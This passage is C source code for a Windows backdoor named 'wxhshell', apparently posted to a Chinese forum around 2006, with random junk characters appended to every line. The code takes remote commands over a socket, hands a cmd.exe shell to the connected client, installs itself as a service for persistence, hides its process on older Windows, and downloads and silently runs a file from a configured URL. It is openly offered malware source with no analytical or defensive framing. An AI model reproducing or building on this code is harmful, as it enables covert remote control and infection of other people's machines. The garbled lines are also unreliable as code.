  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 83 R_8  
  } ~6Fh,S1?  
  else { '0 )`.  
j6~`C ?(  
    switch(cmd[0]) { #a~BigZ[G  
  }cGILH%  
  // 帮助 z;2& d<h  
  case '?': { ?V+\E2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ; S$  
    break; .d[ ^&<^  
  } dTCLE t.  
  // 安装 rr\9HA  
  case 'i': { bma.RCyY<  
    if(Install()) 3+d^Bpp4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P]y{3y:XxM  
    else <YEKbnw$o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O-)[!8r  
    break; wb(S7OsMO  
    } s_RK x)w@  
  // 卸载  4q7H  
  case 'r': { 4|I;z  
    if(Uninstall()) Ja4M@z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mt`LOdiC_  
    else eN </H.bm]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "eOl(TSu/  
    break; ^E\n^D-RV  
    } }vOg9/[{  
  // 显示 wxhshell 所在路径 -AD` (b7q  
  case 'p': { '%ZKvZ-  
    char svExeFile[MAX_PATH]; eFS$;3FP1  
    strcpy(svExeFile,"\n\r"); qzA_ ~=g  
      strcat(svExeFile,ExeFile); islHtX VE  
        send(wsh,svExeFile,strlen(svExeFile),0); \o2l;1~  
    break; I+.U.e^gx  
    } l<4P">M!.  
  // 重启 N}NKQ]=  
  case 'b': { a?GXVQ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &Z!y>k%6  
    if(Boot(REBOOT)) Vj1V;dHv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); iRkUL]H@&  
    else { n{L^W5B  
    closesocket(wsh); v@SHR0  
    ExitThread(0); .bP8Z =  
    } bx{njo1Mr  
    break; _K{- 1ZYsi  
    } v?6*n >R  
  // 关机 KaOXqFT=  
  case 'd': { }Rh%bf7,  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 'U ZzH$h  
    if(Boot(SHUTDOWN)) vL[IVBG^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R2{]R&wtn0  
    else { Uf7ACv)Dn  
    closesocket(wsh); 6'e^np  
    ExitThread(0); /AOGn?Z3  
    } 'm |T"Ym~  
    break;  E^5  
    } mS;WNlm\  
  // 获取shell -} j(_] t  
  case 's': { )p;t '*]  
    CmdShell(wsh); 8EdaqF  
    closesocket(wsh); [bX ^_ Y  
    ExitThread(0); 8mRZ(B>% X  
    break; oH v.EO  
  } :eD-'#@$u  
  // 退出 1i.3P$F  
  case 'x': { }|) N5bGQe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 4ME$Z>eN  
    CloseIt(wsh); V9Mr&8{S4  
    break; +_*NY~  
    } ]3='TN8aQF  
  // 离开 h@1/  
  case 'q': { =L1%gQJJ&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )!E:  
    closesocket(wsh); L;vglS=l;  
    WSACleanup(); cmU0=js.  
    exit(1); BQ[R)o  
    break; `W_&^>yl  
        } 9ei'oZ  
  } \h s7>5O^K  
  } -}sMOy`  
XY9%aT*  
  // 提示信息 |&-*&)iD|w  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eY?OUS  
} ZBx,'ph}4  
  } )G, S7A  
ht6}v<x.eA  
  return; 83_mR*tGNp  
} \8\T TkVSq  
3*j1v:x`  
// shell模块句柄 CH!\uK22  
int CmdShell(SOCKET sock) nm%qm  
{ m1]/8{EC7  
STARTUPINFO si; o%z^@Cq  
ZeroMemory(&si,sizeof(si)); RL]$"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Xg1TX_3Ml  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qRcg|']R  
PROCESS_INFORMATION ProcessInfo; =MM+(mD  
char cmdline[]="cmd"; ~Eik&5 z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5eF tcK  
  return 0; sh`3${  
} |Thm5,ao  
. uGne  
// 自身启动模式 ,\3Cq2h  
int StartFromService(void) Z[Iej:o5  
{ HfP<hQmN'  
typedef struct l?m 3 *  
{ <_*5BO  
  DWORD ExitStatus; 5&L*'kV@  
  DWORD PebBaseAddress; 'x? |tKzd  
  DWORD AffinityMask; 8dt=@pwx&  
  DWORD BasePriority; mRyf+O[  
  ULONG UniqueProcessId; +jq@!P"}d  
  ULONG InheritedFromUniqueProcessId; %G6x\[,  
}   PROCESS_BASIC_INFORMATION; l& sEdEA  
&"T7KXx  
PROCNTQSIP NtQueryInformationProcess; =u0a/2u|  
VJW8%s[  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; @V1FBw9S!@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Ygg(qB1q  
SJLs3iz_)  
  HANDLE             hProcess; >,k2|m  
  PROCESS_BASIC_INFORMATION pbi; 7TypzgXNe  
pBBKfv  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ;Z"Iv  
  if(NULL == hInst ) return 0; |d6/gSiF  
;O,&MR{;|n  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =)i^E9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Y Kp@ n8A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L.K|]]u  
a5pM~.]  
  if (!NtQueryInformationProcess) return 0; Pjvb}q=  
~+BU@PHv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'h~IbP  
  if(!hProcess) return 0; l9+CJAmq  
 >}]bKq  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .v+J@Y a  
aWLA6A+C&  
  CloseHandle(hProcess); (8o;Cm  
.9g :-hv  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); tx+P@9M_Aq  
if(hProcess==NULL) return 0; &A/b9GW^-  
`2V{]F  
HMODULE hMod; LSXsq}  
char procName[255]; p`U#  
unsigned long cbNeeded; ~fcC+"7q/  
lY,9bSF$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Vz!{nL0Q(  
" ~6&rt  
  CloseHandle(hProcess); I7|a,Q^f  
ev/)#i#s{  
if(strstr(procName,"services")) return 1; // 以服务启动 R&P^rrC@B5  
?aTC+\=  
  return 0; // 注册表启动 Jzy:^PObT  
} g}9heR  
[6.<#_~{  
// 主模块 Qch'C0u  
int StartWxhshell(LPSTR lpCmdLine) m)6-D-&7  
{ 0CX9tr2J  
  SOCKET wsl; aGE} EK}  
BOOL val=TRUE; e(DuJ-  
  int port=0; XJS^{=/  
  struct sockaddr_in door; tLdQO"  
~e){2_J&n  
  if(wscfg.ws_autoins) Install(); #q&N d2y  
SwrzW'%A  
port=atoi(lpCmdLine); l}g_<  
Xo.3OER  
if(port<=0) port=wscfg.ws_port; }J\7IsM&  
C^U>{jf !  
  WSADATA data; gMZrtK`<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; >k/ rJ[Sc  
W7~OU(}[`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y~lOkH[z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); EW]8k@&g  
  door.sin_family = AF_INET; =3 ;! 5P  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `VglE?M  
  door.sin_port = htons(port); vsI|HxpyC,  
4Xn-L&0z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iZ ;562Mo  
closesocket(wsl); w>RwEU+w=@  
return 1; =fhRyU:C[z  
} oMq:4W,  
._'.F'd  
  if(listen(wsl,2) == INVALID_SOCKET) { ~"R;p}5 "  
closesocket(wsl); ukD:4s v  
return 1; 2Aa  
} W7T2j+]  
  Wxhshell(wsl); `j.-hy>s  
  WSACleanup(); 8D^ iQBA  
|hu9)0 P  
return 0; akgvV~5  
+~lPf.  
} "#%9dWy  
L N'})CI8m  
// 以NT服务方式启动 WO+>W+|N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (|y@ ftr@  
{ `n e9&+  
DWORD   status = 0; nqcD#HUv  
  DWORD   specificError = 0xfffffff; Et)j6xz/F  
8..g\ZT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7V~ gqum  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?U~`'^@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; UX ?S#:h  
  serviceStatus.dwWin32ExitCode     = 0; 09Z\F^*$F  
  serviceStatus.dwServiceSpecificExitCode = 0; vFgnbWxG  
  serviceStatus.dwCheckPoint       = 0; 6ZGw 3p)  
  serviceStatus.dwWaitHint       = 0; 5@i(pVWZ  
r"KW\HN8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); >T29kgF2  
  if (hServiceStatusHandle==0) return; ITU6Eq  
>?$qKu  
status = GetLastError(); {=y~O  
  if (status!=NO_ERROR) :C#(yp  
{ N#X(gEV  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >>h0(G|  
    serviceStatus.dwCheckPoint       = 0; XO/JnJ^B  
    serviceStatus.dwWaitHint       = 0; gvxOo#8]  
    serviceStatus.dwWin32ExitCode     = status; QUc&f+~  
    serviceStatus.dwServiceSpecificExitCode = specificError; nN[QUg  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _w9 :([_  
    return;  }_?FmuU  
  } ~_4$|WKl  
MrS~u  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l;;"v) C8  
  serviceStatus.dwCheckPoint       = 0; { %af  
  serviceStatus.dwWaitHint       = 0; X]Ma:1+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); L'x[wM0w;  
} 0tN/P+!|  
H3BMN}K~  
// 处理NT服务事件,比如:启动、停止 9M .cTIO{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &8Oy*'  
{ XZpF<7l  
switch(fdwControl) %4h$/~  
{ Ky[-ZQQo=5  
case SERVICE_CONTROL_STOP: <cR]-Yr~  
  serviceStatus.dwWin32ExitCode = 0; ,N2|P:x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >iWw i'T=  
  serviceStatus.dwCheckPoint   = 0; u-X P `  
  serviceStatus.dwWaitHint     = 0; CDRz3Hu U  
  { h%%dRi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); tt]ZGn*  
  } 2E=vMAS  
  return; ]}N&I_mU  
case SERVICE_CONTROL_PAUSE: uJt*> ;Kp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .!h`(>+@  
  break; X}j_k=,C  
case SERVICE_CONTROL_CONTINUE: 0tah$;c e  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7@9R^,M4:  
  break; h#I]gHQK  
case SERVICE_CONTROL_INTERROGATE: /Os;,g  
  break; @:G#[>nKe  
}; L]Dl}z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7T9Mo .  
} 9uA2M!~i2  
Zd[6-/-:  
// 标准应用程序主函数 )?,X\/5  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Hd0?}w\  
{ . ^JsnP  
)R9QJSe  
// 获取操作系统版本 vip& b}u  
OsIsNt=GetOsVer(); rtgu{m02  
GetModuleFileName(NULL,ExeFile,MAX_PATH); /-&a]PJ  
1 c4I`#_v  
  // 从命令行安装 ~z*A%vp6ER  
  if(strpbrk(lpCmdLine,"iI")) Install(); orr6._xw  
t(.xEl;Ma  
  // 下载执行文件 $_&gT.>  
if(wscfg.ws_downexe) { VA@t8H,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |H@1g=q  
  WinExec(wscfg.ws_filenam,SW_HIDE); YWUCrnr  
} *lws7R  
d^ YM@>%  
if(!OsIsNt) {  N'e3<  
// 如果时win9x,隐藏进程并且设置为注册表启动  Cdbh7  
HideProc(); #~>ykuq  
StartWxhshell(lpCmdLine); YA4;gH+  
} D= LLm$y  
else [%yCnt  
  if(StartFromService()) 58.b@@T  
  // 以服务方式启动 , aQ{  
  StartServiceCtrlDispatcher(DispatchTable); ~OQ/ |ws  
else vB T]a  
  // 普通方式启动 QGQ}I  
  StartWxhshell(lpCmdLine); ;chz};zY  
k_%"#  
return 0; d (8X?k.S  
}
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只看该作者 1 发表于: 2006-10-10
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